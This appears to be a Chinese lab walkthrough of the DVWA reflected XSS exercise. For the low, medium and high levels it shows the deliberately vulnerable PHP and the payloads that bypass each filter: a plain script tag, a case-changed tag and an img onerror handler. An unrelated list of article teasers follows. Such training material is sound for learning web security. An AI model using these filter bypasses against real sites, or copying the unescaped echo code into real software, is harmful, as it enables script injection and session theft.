8、DVWA——XSS(Reflected)

2023-09-18 19:13:04

一、XSS概述

  跨站点脚本(XSS)攻击是一种注入攻击,恶意脚本会被注入到可信的网站中。当攻击者使用 web 应用程序将恶意代码(通常以浏览器端脚本的形式)发送给其他最终用户时,就会发生 XSS 攻击。允许这些攻击成功的漏洞很多,并且在 web 应用程序的任何地方都有可能发生,这些漏洞会在使用用户的输入,没有对其进行验证或编码。

  攻击者可以使用 XSS 向不知情的用户发送恶意脚本,用户的浏览器并不知道脚本不应该被信任,并将执行 JavaScript。因为它认为脚本来自可信来源,所以恶意脚本可以访问浏览器并作用于该站点的任何 cookie、会话令牌或其他敏感信息,甚至可以重写 HTML 页面的内容。

二、Low

2.1 源码审计

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?> 

  分析:服务器判断了 name 参数是否为空,未对输入做了一定得过滤。

2.2 通关思路

  因为未对输入得内容进行过滤,同时输入康中的内容还会显示到页面上,故payload:<script>alert("XSS")</script>

在这里插入图片描述

在这里插入图片描述

三、Medium

3.1 源码分析

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

  分析:服务器使用字符替换函数str_replace()进行字符串替换,有一定的过滤作用。可以通过大小写进行绕过。

3.2 通关思路

  使用大小写进行绕过,payload:<Script>alert("XSS")</Script>
在这里插入图片描述

四、High

4.1 源码分析

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

  分析:服务器使用正则表达式对

4.2 通关思路

  使用其他标签进行注入,payload:<img src=x onerror=alert("XSS")>

在这里插入图片描述

更多推荐

DEM格式转换:转换NSDTF-DEM国标数据格式为通用格式,使用ArcGIS工具转换NSDTF-DEM国标.dem文件为通用.tif格式。

DEM格式转换:转换NSDTF-DEM国标数据格式为通用格式,使用ArcGIS工具转换NSDTF-DEM国标.dem文件为通用.tif格式。*.dem是一种比较常见的DEM数据格式,其有两种文件组织方式,即NSDTF-DEM和USGS-DEM。(1)NSDTF-DEM是一种明码的中国国家标准空间数据的交换格式,遵从国家

浅谈消防设备电源监控系统在高层民用建筑内的应用

【摘要】:当高层民用建筑内火灾发生时,各类消防设备能否正常运行、能否发挥作用是初期火灾扑救是否成功的重要条件之一,而稳定可靠的消防设备电源则是消防设备正常工作的保障。因此针对高层民用建筑内消防设备电源的监测系统至关重要。【关键词】:消防设备电源;AFPM100/B1;电压/电流传感器;高层民用建筑0前言为扎实推进高层民

【全志V3s】SPI NAND Flash 驱动开发

文章目录一、硬件介绍V3s的启动顺序二、驱动支持U-Boot驱动主线Linux驱动已经支持三、烧录工具xfel四、构建U-Boot(官方的Uboot)先编译一下开始spinandflash代码层面的适配修改menuconfig配置ARMarchitecture配置SupportforSPINandFlashonAllw

MySQL远程登录提示Access denied的场景

厂商给的某个MySQL库,通过客户端远程登录,提示这个错误,Accessdeniedforuser'用户名'@'IP'(usingpassword:YES)确认输入的账号密码都是正确的,出现这个错误说明端口是通的。此时可以检索mysql.user,如果待登录账号的记录host字段是localhost,说明仅允许本地登录

Hbuilder本地调试微信H5项目(一)

摘要通过内网穿透,访问本地Hbuilder创建的Vue项目前置准备下载并安装【HBuilder】,本文用的是HBuilder3.8.12版本,下载地址下载并安装【微信开发者工具】,本文用的是1.06版本,下载地址下载并安装【natapp】,下载地址实现逻辑本地使用Hbuilder进行开发并运行起来(配置为80端口)使用

【golang】深入理解GMP调度模型

GoroutineGo中,协程被称为goroutine,它非常轻量,一个goroutine只占几KB,并且这几KB就足够goroutine运行完,这就能在有限的内存空间内支持大量goroutine,支持了更多的并发,虽然一个goroutine的栈只占几KB(Go语言官方说明为4~5KB),但实际是可伸缩的,如果需要更多

性能测试 —— Jmeter定时器

固定定时器如果你需要让每个线程在请求之前按相同的指定时间停顿,那么可以使用这个定时器;需要注意的是,固定定时器的延时不会计入单个sampler的响应时间,但会计入事务控制器的时间1、使用固定定时器位置在http请求中;每次http请求前延迟3秒;配置路径——定时器——固定定时器;如下图:2、线程组循环3次,通过表格查看

启山智软/电商商城100%开源

介绍想要了解代码规范,学习商城解决方案,点击下方官网链接联系客服作者:启山智软官网及博客:启山智软官网、CSDN、掘金、gitee简介:启山智软目前开发了全渠道电商商城系统,本商城是基于SpringCloud的商城系统,百万真实用户沉淀并检验的商城。注意:该项目只提供学习,切勿用于商业用途电商商城是什么:电商商城指的是

json数据解析

目录一、读数据1、简单对象读取2、数组读取3、对象读取二、写数据1、简单生成JSON2、对象数组JSON3、嵌套对象三、一个综合例子1、读JSON2、写JSON一、读数据1、简单对象读取{"app":"xnwVideo","src":"C:\\build-video\\Output","dest":"C:\\build

thinkphp:查询本周中每天中日期的数据,查询今年中每个月的数据,查询近五年每年的总数据

一、查询本周中每天中日期的数据结果:以今天2023-09-14为例,这一周为2023-09-11~2023-09-07代码后端thinkphp://查询本周每天的的总金额数//获取本周的起始日期和结束日期$weekStart=date('Y-m-d',strtotime('thisweekMonday'));$week

零基础Linux_5(开发工具_上)yum和vim和gcc/g++和gdb

目录1.软件包管理器yum1.1安装软件的方式1.2yum指令2.vim(编辑器)2.1vim的简单操作2.1.1方向键(HJKL)2.1.2退出vim2.2vim文本批量化操作(命令模式)2.2.1复制.粘贴.删除.剪贴.撤销2.2.2光标跳转2.2.3vim其它操作2.3配置vim3.gcc和g++3.1程序的翻译

热文推荐